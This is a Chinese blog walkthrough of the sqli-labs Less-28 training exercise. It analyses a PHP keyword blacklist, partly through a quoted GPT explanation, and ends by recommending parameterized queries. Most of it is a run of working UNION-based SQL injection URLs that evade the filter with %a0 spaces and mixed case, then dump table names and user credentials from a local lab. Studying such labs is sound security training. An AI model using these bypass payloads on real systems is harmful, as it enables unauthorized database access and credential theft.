目 录CONTENT

文章目录

sqli-labs系列——Less-28

CZ
CZ
2023-07-04 / 0 评论 / 2 点赞 / 545 阅读 / 5652 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

摘要

在这个实验中,我们学习了sqli-labs中的一个题目,即Less-28。通过分析源代码,我们发现了一个名为blacklist的PHP函数,用于对传入的$id字符串进行过滤处理,以提高安全性。该函数使用正则表达式和preg_replace函数来替换字符串中的特定字符和关键字,例如/*、--、#、空格以及各种大小写形式的select和union。尽管这种简单的字符替换方法可以一定程度上防止SQL注入攻击,但仍存在绕过的可能性。 在实验过程中,我们通过联合注入的方式判断了注入点、显示位、库名、表名和列名,并最终成功获取了用户表中的用户名和密码数据。然而,这种简单的过滤方法并不是最安全可靠的解决方案。为了避免安全问题,建议使用更现代的安全编程技术,如参数化查询或使用安全的数据库访问层来防止SQL注入攻击。这些技术可以有效地防止攻击者绕过过滤规则,并提供更可靠的安全保护。

前言

单纯从页面看,貌似还是过滤了union和select等注入,我们依旧按照以前的思路先分析注入方式,再判断注入点,最后使用相关语句查询绕过

分析源码


function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

gpt分析

这段代码是一个PHP函数,名为`blacklist`,它接受一个参数`$id`,并对其进行处理后返回结果。
以下是对代码的逐行解释:
1. `$id= preg_replace('/[\/\*]/',"", $id);`
   这行代码使用正则表达式替换函数`preg_replace`,将`$id`中的`/*`(斜杠和星号)替换为空字符串。这样做是为了去除可能存在的注释符号。
2. `$id= preg_replace('/[--]/',"", $id);`
   这行代码使用正则表达式替换函数`preg_replace`,将`$id`中的`--`(连字符)替换为空字符串。这样做是为了防止注入攻击中的SQL注释。
3. `$id= preg_replace('/[#]/',"", $id);`
   这行代码使用正则表达式替换函数`preg_replace`,将`$id`中的`#`(井号)替换为空字符串。这样做是为了防止注入攻击中的SQL注释。
4. `$id= preg_replace('/[ +]/',"", $id);`
   这行代码使用正则表达式替换函数`preg_replace`,将`$id`中的空格替换为空字符串。这样做是为了去除空格。
5. `//$id= preg_replace('/select/m',"", $id);`
   这行代码是一个注释行,被双斜杠(//)注释掉了,因此不会执行任何操作。它可能是被注释掉的代码,用于去除`$id`中的`select`关键字。
6. `$id= preg_replace('/[ +]/',"", $id);`
   这行代码使用正则表达式替换函数`preg_replace`,再次将`$id`中的空格替换为空字符串。这样做是为了确保所有空格都被去除。
7. `$id= preg_replace('/union\s+select/i',"", $id);`
   这行代码使用正则表达式替换函数`preg_replace`,将`$id`中的`union select`(不区分大小写)替换为空字符串。这样做是为了防止注入攻击中的联合查询。
最后,函数返回处理后的`$id`。整个函数的目的是对输入的`$id`进行处理,去除可能引发安全问题的字符,以防止SQL注入攻击或其他恶意行为。

发现依旧没有过滤and和or

实验环节

前期准备

由于还是要用空格字符替换空格,本题还是使用kali部署的sqli-labs

su -  root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs    #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令

浏览器访问Less-28地址

http://192.168.199.129/Less-28

image-1688436614241

分析注入方式

#id=1和id=1"页面正常回显,id=1'页面显示异常,判断是单引号字符型
http://192.168.199.129/Less-28/?id=1
http://192.168.199.129/Less-28/?id=1“
http://192.168.199.129/Less-28/?id=1'

image-1688453261495 image-1688453277513 image-1688453301200

判断注入点

#然后判断有无括号,页面回显正常说明是带括号的
http://192.168.199.129/Less-28/?id=1') %a0or%a0('1'='1

image-1688454413909

判断显示位

http://192.168.199.129/Less-28/?id=0')%a0uNion%a0selEct%a01,2,3%a0or%a0('1'='1

image-1688454562612

判断库名

http://192.168.199.129/Less-28/?id=0')%a0uNion%a0selEct%a01,database(),3%a0or%a0('1'='1

image-1688454644491

判断表名

http://192.168.199.129/Less-28/?id=0')%a0uNion%a0selEct%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0and%a0('1'='1

image-1688454732303

判断列名

http://192.168.199.129/Less-28/?id=0')%a0uNion%a0selEct%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0table_schema=database()%a0and%a0('1'='1

image-1688454803867

判断数据

http://192.168.199.129/Less-28/?id=0')%a0uNion%a0selEct%a01,group_concat(username,password),3%a0from%a0users%a0where%a0('1'='1

image-1688454875752

2

评论区